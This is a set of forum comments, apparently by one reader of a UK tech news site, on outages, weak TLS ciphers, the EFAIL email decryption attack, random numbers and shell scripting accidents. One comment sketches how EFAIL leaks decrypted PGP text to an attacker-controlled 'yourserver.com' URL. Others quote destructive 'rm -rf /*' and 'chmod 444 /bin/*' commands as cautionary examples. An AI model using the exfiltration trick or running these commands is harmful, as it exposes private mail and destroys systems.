Seems to have affected Zen Internet too
They seem to have had redundancy and no outage.
One update of interest:
Engineers are continuing to work on the fibre break.
The work is currently being delayed by numerous road works.
394 posts • joined 12 Jul 2008
Not only do they only support TLS1.0, but including RC4-SHA in their cipher list? Really?
Supported Server Cipher(s):
Preferred TLSv1.0 128 bits AES128-SHA
Accepted TLSv1.0 256 bits AES256-SHA
Accepted TLSv1.0 128 bits RC4-SHA
Accepted TLSv1.0 112 bits DES-CBC3-SHA
Accepted TLSv1.0 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
Accepted TLSv1.0 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
Accepted TLSv1.0 128 bits RC4-MD5
The first of two (!) attacks does seem rather simple. Send email with three MIME parts: 1. <img src="http://yourserver.com/ " 2. [PGP encrypted content] 3. "> Mail client decrypts 2, concatenates three parts and does lookup on the URL which you control.
GnuPG post on Twitter: They figured out mail clients which don't properly check for decryption errors and also follow links in HTML mails. So the vulnerability is in the mail clients and not in the protocols. In fact OpenPGP is immune if used correctly while S/MIME has no deployed mitigation.
We need a crowd-sourced distributed binary (hexagonal?) chop on the RGB triplets to find out exactly where the lawyers stop alleging that a particular shade infringes. We can then mock them mercilessly for claiming that one shade of magenta is OK and an indistinguishable one a fraction away in colour space doesn't.
$ whois LesbianSpankInferno.co.uk | grep "Registered on:"
Registered on: 23-Apr-2018
The NCSC has issued advice to a limited number of UK telecommunications operators regarding the potential use of ZTE equipment and services. ... NCSC assess that the national security risks arising from the use of ZTE equipment or services within the context of the existing UK telecommunications infrastructure cannot be mitigated
I wonder whether the problem was as a result of these vulnerabilities being patched:
Jobert Abma, 4:32 am - 27 Apr 2018
In December I found a number bugs in @gitlab, all of which were disclosed today. The team responded swiftly and professionally and is a pleasure to work with. I'll describe each vulnerability in a separate tweet in this thread. Enjoy them and happy hacking!
Eric Biggers points out that there is no alternative block cipher suitable for low power processors to support dm-crypt or fscrypt filesystem encryption, and the alternative is no encryption at all.
Bruce Schneier's opinion is Personally, I doubt that they're backdoored
"Loading failed for the <script> with the source "https://dpm.demdex.net/"...
"Loading failed for the <script> with the source "https://visitor-service.tealiumiq.com/"...
What on earth are these doing on a supposedly secure page?
RSRE (as it had become by the early 80's) and Laser-Scan in Cambridge worked on an alternative to individually driven LCD pixels, by drawing vector graphics using an infra-red laser to switch the phase of the LCD.
Reference to 1984 paper: Laser-Addressed Liquid Crystal Displays
I can still remember the goggles, locked doors and notice: "Do not stare into laser beam with remaining eye".
I would have thought that when BT contracted with Yahoo! to handle their customers' emails, there would have been self-congratulatory press releases on the subject, perhaps naming the muppets who at the time took the credit.
Can I find these anywhere using Google? Not a trace. The "Right to be forgotten" strikes again?
I wonder who he is referring to in this quote from the movie clip?
"a study of this project by the Bland Corporation".
The first reports I saw were of Google's 126.96.36.199 failing to resolve.
Chatter on noc.spamexperts.net, status.aws.amazon.com and /r/sysadmin
It's not only got to be genuinely random (as John von Neumann said; "Any one who considers arithmetical methods of producing random digits is, of course, in a state of sin"), but if someone else has generated the randomness you are using for your Certificate Signing Request, you cannot guarantee the security of your website ever after.
187m long parcel of land
Don't bother. A USB connected Geiger–Müller tube will generate randomness just as well.
"A naive assumption is often made that reusing software ... will increase safety because the software will have been exercised extensively. Reusing software modules does not guarantee safety in the new system to which they are transferred...
As demonstrated by the Ariane 5 Launch Faliure
Number of Royal Navy submarines: 10 (3 Trafalgar class, 3 Astute, 4 Vanguard)
Number of Minehunters fitted with Type 2093/2193 Sonar: 13 (6 Hunt, 7 Sandown)
more or less exclusively focused on detecting submarines
Mine hunting too. Many years ago I was a contractor at Ferranti, just before they went tits-up as a result of a massive fraud. Simulating sea-bed reflections for a Type 2093 sonar, also graphics for the camera on a ROV ("yellow submarine"). Massive (for those days) Silicon Graphics Onyx / R4400.
I saw a report about this and sent an e-mail containing the following link reporting a Filmology breach on 01-Feb-2018.
Many of my friends are off this week skiing or enjoying Mediterranean sunshine. Is it such a good idea to introduce changes and slow everything down at a peak holiday time?
when I can't even make phone calls and send texts when I'm at home in a town in North Yorkshire (pop. 3000)? FTTC is available, though.
Google claims that it runs sshd, so putty might be the answer. Add "screen" too, if that is supported. With a VPN you can get a stable login session from multiple endpoints.
It has been embraced by developers
In this context, "Embraced" has often been followed by "extended" and "extinguished".
When was the last time you watched Yes Minister? I think you need a refresher on the subject of "sack civil servant".
I'm sure that there are some penguins on South Georgia that need counting.
You missed out "Can be contracted out to my brother-in-law's company. Good.".
Make Things Easy / Politicians
The antithesis to this is if you don't want someone to do something, e.g. claim a tax refund, you make it as discouraging as possible.
Web forms that show you the new question only after you have answered the previous one, so you have to keep bothering the same person over and over again for the next answer.
Confusing instructions on web forms.
Long phone calls on hold with irritating music.
Being referred from one phone number to another.
That was my morning just wasted, and I'm sure that the Sir Humphreys of this world have big smug grins on their faces.
What an unfortunate acronym that makes.
In 2003 I was working on web proxies for schools: Squid + DansGuardian plus a lot of customisation to allow teachers to turn all internet access on and off, allow only white-listed sites tailored for that particular lesson and block sites on demand. I'd hope that 100% of schools would have some sort of web filtering system.
In those days of limited bandwidth we even had an option to pre-load the Squid cache before the lesson started.
Tracking individual children, however, is a different matter.
And be especially cautious about
find -L ... | xargs rmand absolute links in chroot/container trees.
$ echo "rm -rf $xxx/*"
rm -rf /*
$ set -o nounset
$ echo "rm -rf $xxx/*"
bash: xxx: unbound variable
That was heroic and ingenious.
My rescue mission to get the system back to normal after someone had typed
chmod 444 /bin/*involved an 8" floppy and driving from Keighley to Peterborough (about 140 miles) and back.
One moral of the story, which I am still trying to instil into my cow-orkers 30 years later, is use the symbolic modes to add or subtract explicit permissions.
And for today:
X-Clacks-Overhead: GNU Terry Pratchett
Dodgy shell script triggers classic rm -rf /
rm -rf "$STEAMROOT/"*
But STEAMROOT had not been set
The bug was reported to the Exim team on Monday
The bug was reported to the Exim maintainers on the 5th Febrary, then under an NDA to distros and cloud services. What has just happened is that Mel has released more (but not full) details. There's no public POC either.
There was a bit of a panic when one distro broke the embargo and the patch became public a few days early, on a Friday of all days in the week.
Or was it Carnot Cycle pumps?
Biting the hand that feeds IT © 1998–2018